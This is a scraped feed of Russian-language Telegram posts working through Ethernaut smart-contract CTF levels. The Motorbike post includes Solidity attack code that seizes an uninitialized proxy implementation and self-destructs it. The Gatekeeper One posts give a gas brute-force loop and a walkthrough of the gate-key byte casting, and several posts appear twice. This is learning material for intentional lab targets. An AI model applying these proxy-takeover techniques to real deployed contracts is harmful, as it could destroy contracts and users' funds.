Суть всей задачи была сведена в инициализацию контракта Engine. Ну, т.е. когда вы создаете прокси контракт, вы должны контракт с логикой инициализировать тоже.
В задаче этого не было сделано. Нам нужно самим вызвать функцию initialize() в Engine с адресом самого Engine, чтобы получить права upgrader.
После этого останется всего лишь upgradeToAndCall() адрес нашего хакерского контракта с selfdestruct. После этого Engine будет уничтожен, а Motorbike станет бесполезным.
contract Destroy{
function kill() external {
selfdestruct(address(0));
}
}
contract Getit {
Motorbike challenge = Motorbike(motorbikeAddress);
Engine engineAddress = Engine(address(uint160(uint256(vm.load(address(challenge), 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)))));
function run() external{
engineAddress.initialize();
bytes memory encodedData = abi.encodeWithSignature("kill()");
engineAddress.upgradeToAndCall(0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1, encodedData);
}
}
Пишу пост сразу после решения задачи, и, возможно, будет звучать он немного сложнее, чем задумывается. Нужно еще много чего прочитать про прокси контракты, чтобы лучше понимать их логику.
Вся суть заключается в том, чтобы при деплое проверять свои контракты на инициализацию в прокси и в логике, чтобы никто не смог извне вызвать напрямую initialize().
#ethernaut
❤2
Ethernaut. Задачи 13, 18 и 26
Три задачи из всего списка, две из которых я так и не смог понять (пока что), а другую просто не хочу разбирать.
Gatekeeper One
В этой задаче нам нужно пройти через три модификатора.
Ссылка на задачу
В чем суть?
Тут нужно хорошо разбираться в побитовых операциях и конвертации.
Первые ворота проходятся обычным созданием стороннего контракта и вызовом функции оттуда. Вторые - брутфорсом газа, как в примере ниже (нашел на просторах интернета):
function lettMeIn() public external {
for (uint256 i=0; i<120; i++) {
(bool success, bytes memory data) = address(levelAddress).call{gas: i+150+8191*3}(abi.encodeWithSignature("enter(bytes8)", key));
if(success){break}
}
}
где, 120 просто рандомное число, для ограничения итераций, а в gas: i+150+8191*3 :
i - номер итерации,
150 - push opcode из дебага,
8191 - модула,
3 - стоимость газа push.
Я видел также решения, которые подбирались вручную, но мне хотелось автоматизировать это.
А вот с последним модификатором я завис. Пока что, конвертации не мое.
‼️ ВАЖНО! Если кто-то может расписать объяснение по третьему модификатору (не накидать ссылок, а именно написать полноценный пост разбор), я буду очень признателен и выложу на канал!
Magic Number
В этой задаче нам нужно написать код контракта, который не будет превышать 10 опкода.
Ссылка на задачу
В чем суть?
Решение задачи крайне простое: нужно вывести число 42. Но обычная функция "весит" слишком много, assembly чуть меньше, но все равно много. Поэтому требуется всю функцию переписать в форме опкода.
С опкодом я еще не сталкивался ранее, и та информация, что попадалась, не пролила свет. Можно было бы тупо скопипастить решение сюда, но я бы не смог его разобрать и объяснить.
Вернусь к ней как-нибудь позже.
‼️ВАЖНО! Если кто-то может рассказать про опкод подробнее в посте / статье / видео, я буду очень признателен. Это поможет всем участникам канала чуть больше разобраться в этой теме.
DoubleEntryPoint
В этой задаче нам нужно обнаружить уязвимость контракта и зарыть ее с помощью контракта Forta.
Ссылка на задачу
В чем суть?
Признаться честно, я просто не хочу решать эту задачу. Не потому, что она сложная, а скорее из-за контрактов Forta. К самой компании я претензий не имею, но сейчас у меня цель научиться обнаруживать уязвимости в контрактах, а не обучаться новым сервисам.
А эта задача составлена в партнерстве openzeppelin и forta, на мой взгляд, чтобы пользователи узнали о forta и начали использовать его.
Говоря кратко об уязвимости в контракте, то обратить внимание нужно на функцию transfer() в контракте LegacyToken, которая позволяет обменивать токены DET (или underlying), которые как бы нельзя трогать, вместе с LegacyToken. Эту дыру нам и предлагают закрыть с Forta.
Далее мы попробуем порешать задачи с проекта Damn Vulnerable Defi.
#ethernaut
Три задачи из всего списка, две из которых я так и не смог понять (пока что), а другую просто не хочу разбирать.
Gatekeeper One
В этой задаче нам нужно пройти через три модификатора.
Ссылка на задачу
В чем суть?
Тут нужно хорошо разбираться в побитовых операциях и конвертации.
Первые ворота проходятся обычным созданием стороннего контракта и вызовом функции оттуда. Вторые - брутфорсом газа, как в примере ниже (нашел на просторах интернета):
function lettMeIn() public external {
for (uint256 i=0; i<120; i++) {
(bool success, bytes memory data) = address(levelAddress).call{gas: i+150+8191*3}(abi.encodeWithSignature("enter(bytes8)", key));
if(success){break}
}
}
где, 120 просто рандомное число, для ограничения итераций, а в gas: i+150+8191*3 :
i - номер итерации,
150 - push opcode из дебага,
8191 - модула,
3 - стоимость газа push.
Я видел также решения, которые подбирались вручную, но мне хотелось автоматизировать это.
А вот с последним модификатором я завис. Пока что, конвертации не мое.
‼️ ВАЖНО! Если кто-то может расписать объяснение по третьему модификатору (не накидать ссылок, а именно написать полноценный пост разбор), я буду очень признателен и выложу на канал!
Magic Number
В этой задаче нам нужно написать код контракта, который не будет превышать 10 опкода.
Ссылка на задачу
В чем суть?
Решение задачи крайне простое: нужно вывести число 42. Но обычная функция "весит" слишком много, assembly чуть меньше, но все равно много. Поэтому требуется всю функцию переписать в форме опкода.
С опкодом я еще не сталкивался ранее, и та информация, что попадалась, не пролила свет. Можно было бы тупо скопипастить решение сюда, но я бы не смог его разобрать и объяснить.
Вернусь к ней как-нибудь позже.
‼️ВАЖНО! Если кто-то может рассказать про опкод подробнее в посте / статье / видео, я буду очень признателен. Это поможет всем участникам канала чуть больше разобраться в этой теме.
DoubleEntryPoint
В этой задаче нам нужно обнаружить уязвимость контракта и зарыть ее с помощью контракта Forta.
Ссылка на задачу
В чем суть?
Признаться честно, я просто не хочу решать эту задачу. Не потому, что она сложная, а скорее из-за контрактов Forta. К самой компании я претензий не имею, но сейчас у меня цель научиться обнаруживать уязвимости в контрактах, а не обучаться новым сервисам.
А эта задача составлена в партнерстве openzeppelin и forta, на мой взгляд, чтобы пользователи узнали о forta и начали использовать его.
Говоря кратко об уязвимости в контракте, то обратить внимание нужно на функцию transfer() в контракте LegacyToken, которая позволяет обменивать токены DET (или underlying), которые как бы нельзя трогать, вместе с LegacyToken. Эту дыру нам и предлагают закрыть с Forta.
Далее мы попробуем порешать задачи с проекта Damn Vulnerable Defi.
#ethernaut
🔥2
Объяснение задачи Gatekeeper One от Nekto
В предыдущем посте я попросил участников помочь разобраться с третьим модификатором в задаче, так как я пока не могу понять, что там да как.
Напомню сам модификатор, который требуется пройти:
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
Участник сообщества Nekto написал развернутый ответ:
На вход в функцию подается 8 байт (64 бита, 1 байт = 8 бит).
В машинном коде байты хранятся справа налево, те 8 байт можно представить как "(7)(6)(5)(4)(3)(2)(1)(0)" , где (0) - это нулевой байт, (1) - первый байт и т.д.
Теперь uint32 - это число, которое занимает 32 бита или 4 байта. Аналогично uint64 и uint16 - это числа которые занимают 64 бита (8 байт) и 16 бит (2 байта).
Теперь по приведению.
uint64(_gateKey) - переменную _gateKey (8 байт), мы преобразуем в число размером 8 байт, никакой потери информации не происходит так как размер переменных одинаковый.
uint32(uint64(_gateKey)) - мы знаем, что результат uint64(_gateKey) у нас 8 байт, а uint32 - это только 4 байта. Значит будет приведение с потерей информации. Так как байты считаются от нулевого, то фактически мы возьмем байты (3)(2)(1)(0) а остальные выкинем.
Теперь смотрим, что нам требуется:
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
чтобы последние 4 байта (uint32) были равны двум последним байтам. Это возможно только в случае, если 2й и 3й байты нулевые, так как 0x0000ABCD = 0xABCD (ABCD это произвольное число в 16й системе).
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
Последние 4 байта (uint32) не равняются 8 байтам исходного числа. Мы уже определили, что 2 и 3й байты нулевые. А из этого условия находим, что байты 4-7 не должны быть нулевыми (пусть будут xFF например).
Т.е. ключ у нас получается 0xFFFFFFFF0000ABCD , осталось найти только ABCD.
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
Нам нужно чтобы последние 4 байта (uint32) от ключа равнялись последним двум байтам (uint16) от tx.origin.
Последние 4 байта от ключа, это у нас 0x0000ABCD, те байт AB и байт CD - это два байта от tx.origin
Итого ключ будет строиться следующим образом
байты (7)-(4) - произвольные данные, но обязательно хоть один не нулевой
байты (3)-(2) - обязательно нулевые
байты (1)-(0) - последние два байта от tx.origin
Комментарий от меня лично. Мне пришлось перечитать пост несколько раз, но понял я лишь тогда, когда взял листок бумаги и по шагам все записывал. Возможно, этот способ поможет еще кому-то разобраться в теме.
Спасибо Nekto за объяснение!
#ethernaut #gatekeeper #gateone
В предыдущем посте я попросил участников помочь разобраться с третьим модификатором в задаче, так как я пока не могу понять, что там да как.
Напомню сам модификатор, который требуется пройти:
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
Участник сообщества Nekto написал развернутый ответ:
На вход в функцию подается 8 байт (64 бита, 1 байт = 8 бит).
В машинном коде байты хранятся справа налево, те 8 байт можно представить как "(7)(6)(5)(4)(3)(2)(1)(0)" , где (0) - это нулевой байт, (1) - первый байт и т.д.
Теперь uint32 - это число, которое занимает 32 бита или 4 байта. Аналогично uint64 и uint16 - это числа которые занимают 64 бита (8 байт) и 16 бит (2 байта).
Теперь по приведению.
uint64(_gateKey) - переменную _gateKey (8 байт), мы преобразуем в число размером 8 байт, никакой потери информации не происходит так как размер переменных одинаковый.
uint32(uint64(_gateKey)) - мы знаем, что результат uint64(_gateKey) у нас 8 байт, а uint32 - это только 4 байта. Значит будет приведение с потерей информации. Так как байты считаются от нулевого, то фактически мы возьмем байты (3)(2)(1)(0) а остальные выкинем.
Теперь смотрим, что нам требуется:
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
чтобы последние 4 байта (uint32) были равны двум последним байтам. Это возможно только в случае, если 2й и 3й байты нулевые, так как 0x0000ABCD = 0xABCD (ABCD это произвольное число в 16й системе).
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
Последние 4 байта (uint32) не равняются 8 байтам исходного числа. Мы уже определили, что 2 и 3й байты нулевые. А из этого условия находим, что байты 4-7 не должны быть нулевыми (пусть будут xFF например).
Т.е. ключ у нас получается 0xFFFFFFFF0000ABCD , осталось найти только ABCD.
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
Нам нужно чтобы последние 4 байта (uint32) от ключа равнялись последним двум байтам (uint16) от tx.origin.
Последние 4 байта от ключа, это у нас 0x0000ABCD, те байт AB и байт CD - это два байта от tx.origin
Итого ключ будет строиться следующим образом
байты (7)-(4) - произвольные данные, но обязательно хоть один не нулевой
байты (3)-(2) - обязательно нулевые
байты (1)-(0) - последние два байта от tx.origin
Комментарий от меня лично. Мне пришлось перечитать пост несколько раз, но понял я лишь тогда, когда взял листок бумаги и по шагам все записывал. Возможно, этот способ поможет еще кому-то разобраться в теме.
Спасибо Nekto за объяснение!
#ethernaut #gatekeeper #gateone
❤1